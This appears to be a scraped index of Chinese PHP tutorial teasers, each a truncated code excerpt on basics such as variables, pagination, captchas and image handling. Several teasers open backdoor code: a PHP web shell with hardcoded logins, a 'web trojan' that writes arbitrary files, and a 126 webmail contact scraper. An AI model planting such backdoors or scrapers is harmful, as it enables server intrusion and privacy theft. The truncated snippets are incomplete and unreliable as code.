Time of Update: 2016-07-29
PHP 包括幾個函數可以判斷變數的類型,例如:gettype(),is_array(),is_float(),is_int(),is_object() 和 is_string()。 複製代碼 代碼如下:$s = "this is a string"; $i = 9; $arr = array(2,4,6); is_string($s); //返回TRUE,表示$s是一個字串變數 is_string($i); //返回FALSE,表示$i不是一個字串變數 is_array($arr);
Time of Update: 2016-07-29
也就是說,如果把一個字串值賦給變數 var,var 就成了一個字串。如果又把一個整型值賦給 var,那它就成了一個整數。 PHP 中的類型強制轉換和 C 中的非常像:在要轉換的變數之前加上用括弧括起來的目標類型。 複製代碼 代碼如下:$foo = 10; echo "轉換前:\$foo=".$foo; //輸出一個整數 echo "" //輸出:$foo=10 echo ""; $foo = (boolean) $foo; //強制轉換為布爾型 echo "轉換後:\$foo=".$foo; /
Time of Update: 2016-07-29
大家可以參考下面的這篇文章http://www.jb51.net/article/6488.htmSQL:$SQL="delete from `doing` where id in ('1,2,3,4')"; 資料用逗號隔開。 表單: 複製代碼 代碼如下: 好$ID_Dele=$_POST['ID_Dele']將會是一個數組,雖然說PHP是弱類型的,但這裡可沒ASP弱。 ASP可以直接: SQL="delete from [doing] where id in
Time of Update: 2016-07-29
這些數組非常特別,它們在全域範圍內自動生效,例如,在任何範圍內自動生效。因此通常被稱為自動全域變數(autoglobals)或者超全域變數(superglobals)。 複製代碼 代碼如下:$a = "PHP教程網"; echo "通過\$GLOBALS來取變數值:".$GLOBALS['a']; //輸出:通過$GLOBALS來取變數值:PHP教程網 echo ""; echo "當前執行指令碼的檔案名稱:".$_SERVER['PHP_SELF'];
Time of Update: 2016-07-29
複製代碼 代碼如下:/** * author:yagas * email:yagas60@21cn.com */ class Image { /** 類保護變數 */ protected $th_width = 100; protected $th_height = 50; protected $quality = 85; //圖片品質 protected $transparent = 50; //浮水印透明度 protected $background = "255,255,255";
Time of Update: 2016-07-29
PHP 中的變數 變數用於儲存值,比如數字、文本字串或數組。 一旦設定了某個變數,我們就可以在指令碼中重複地使用它。 PHP 中的所有變數都是以 $ 符號開始的,變數名是區分大小寫。 在 PHP 中設定變數的正確方法是: $var_name = value;PHP 的入門者往往會忘記在變數的前面的 $ 符號。如果那樣做的話,變數將是無效的。 雖然在 PHP 中並不需要初始設定變數,但這是個好習慣。未初始化的變數具有其類型的預設值 - FALSE,零,Null 字元串或者空數組。 複製代碼
Time of Update: 2016-07-29
複製代碼 代碼如下:function getAllDirAndFile($path) { if(is_file($path)) { if(isImage($path)) { $str=""; $str.=''; $str.=""; $path=iconv("gb2312","utf-8",$path); $str.="".$path.""; $str.=""; $str.=""; echo $str; } } else { $resource=opendir($path); while
Time of Update: 2016-07-29
PHP 的指令碼塊以 結束。您可以把 PHP 的指令碼塊放置在文檔中的任何位置。 當然,在支援簡寫的伺服器上,您可以使用 來開始和結束指令碼塊。 不過,為了達到最好的相容性,我們推薦您使用標準形式 (複製代碼 代碼如下:?> PHP 檔案通常會包含 HTML 標籤,就像一個 HTML 檔案,以及一些 PHP 指令碼代碼。 在下面,我們提供了一段簡單的 PHP 指令碼,它可以向瀏覽器輸出文本 "Hello World": 複製代碼 代碼如下: echo "這是PHP教程網!"; ?>
Time of Update: 2016-07-29
今天來總結下。 、在類的內部方法訪問已經聲明為const及static的屬性時,使用self::$name的形式。注意的是const屬性的申明格式,const PI=3.14,而不是const $PI=3.14 複製代碼 代碼如下:class clss_a { private static $name="static class_a"; const PI=3.14; public $value; public static function getName() { return
Time of Update: 2016-07-29
複製代碼 代碼如下:{ global $expert_id; $PageLength = 2000; //每頁字數 $CLength = strlen($content); $PageCount = floor(($CLength / $PageLength)) + 1; //計算頁數 $PageArray=array(); $Seperator = array("\n","\r","。","!","?",";",",","”","'"); //分隔字元號 //echo
Time of Update: 2016-07-29
效果:將下面的函數放到你的主題的 functions.php 檔案中:複製代碼 代碼如下:function theme_echo_pagenavi(){ global $request, $posts_per_page, $wpdb, $paged; $maxButtonCount = 9; //顯示的最多連結數目 if (!is_single()) { if(!is_category()) { preg_match('#FROM\s(.*)\sORDER BY#siU', $request,
Time of Update: 2016-07-29
一個好的分頁演算法, 應該具有下面的優點: 當前頁碼應該盡量在正中間. 如果"首頁"和"尾頁"不可用(當前處於第一頁或最後一頁), 不要隱藏這兩組文字, 以免連結按鈕位置變動. 演算法簡單. 下面的演算法具有前面1和3兩個優點. 複製代碼 代碼如下:// $curr_index, 當前頁碼. // $link_count, 連結數量. // $page_count, 當前的資料的總頁數. // $start, 顯示時的起始頁碼. // $end, 顯示時的終止頁碼. $start = max(1
Time of Update: 2016-07-29
複製代碼 代碼如下://此處可設定多個使用者 $passwd = array('ha0k' => 'ha0k', 'hackerdsb'=>'hackerdsb'); /* 此處設定命令的別名 */ $aliases = array('ls' => 'ipconfig', 'll' => 'ls -lvhF'); if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
Time of Update: 2016-07-29
安裝了Appserv時,無法開啟http://localhost或是http://127.0.0.1 在連接埠沒有被占的情況下(本來我就沒安裝IIS),只要啟動下D:\AppServ\Apache2.2\bin檔案夾裡的ApacheMonitor.exe . 即啟動Apache,運行,就可以了。 登陸phpmyadmin時,一般預設帳號為:root 密碼為你安裝時輸入的密碼,。 如果遇到apache無法啟動並執行話,八九成是連接埠被佔用。這時,就要用到Ctrl+Alt+Del將某些進程kill。
Time of Update: 2016-07-29
在網上找了一些,大部分都已經失效,為此我重新整理了一下;特別放出126的代碼,163是比較容易抓取的;126有點變態多了一次跳轉,比較麻煩複製代碼 代碼如下:/** * @file class.126http.php * 獲得126郵箱通訊錄列表 * @author jvones http://www.jvones.com/blog * @date 2009-09-26 **/ class http126 { private function login($username,
Time of Update: 2016-07-29
foreach是對數組副本進行操作(通過拷貝數組),而while則通過移動數組內部指標進行操作,一般邏輯下認為,while應該比foreach快(因為foreach在開始執行的時候首先把數組複製進去,而while直接移動內部指標。),但結果剛剛相反。 在迴圈裡進行的是數組“讀”操作,則foreach比while快: 複製代碼 代碼如下:foreach ($array as $value) { echo $value; } while (list($key) = each($array)) {
Time of Update: 2016-07-29
複製代碼 代碼如下://------------------------------------- // 檔案說明:數學運算驗證碼 // 檔案作者:Jesse Lee // 最後更新:2008-09-07 //------------------------------------- session_start(); $sessionvar = 'vdcode'; //Session變數名稱 $width = 150; //映像寬度 $height = 20; //映像高度 $operator
Time of Update: 2016-07-29
php網頁木馬複製代碼 代碼如下:header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> 儲存檔案名稱: "> if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo
Time of Update: 2016-07-29
複製代碼 代碼如下:// 計算身份證校正碼,根據國家標準GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return false; } // 加權因子 $factor = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); // 校正碼對應值 $verify_number_list =
Time of Update: 2016-07-29
關於頁面最佳化和偽靜態 1)版面最佳化 2)偽靜態(重點涉及apache,smarty,正則) 詳細內容: 一、版面最佳化: 版面最佳化其實主要涉及HTML,JS,CSS,XML之間的關係(XML相關在此不作描述). 1)一般來說,在資源共用的前提下,我們最基本的目的是讓搜尋引擎所收錄(很多人被AJAX所迷惑,到處使用AJAX,但我的觀點是,只有在後台或使用者操作部分才使用). 因此,首先我們應該按搜尋引擎的收錄準則來設計(其實下面說的“偽靜態”還不是為了搜尋引擎,由於相關文檔有好幾個PAGE,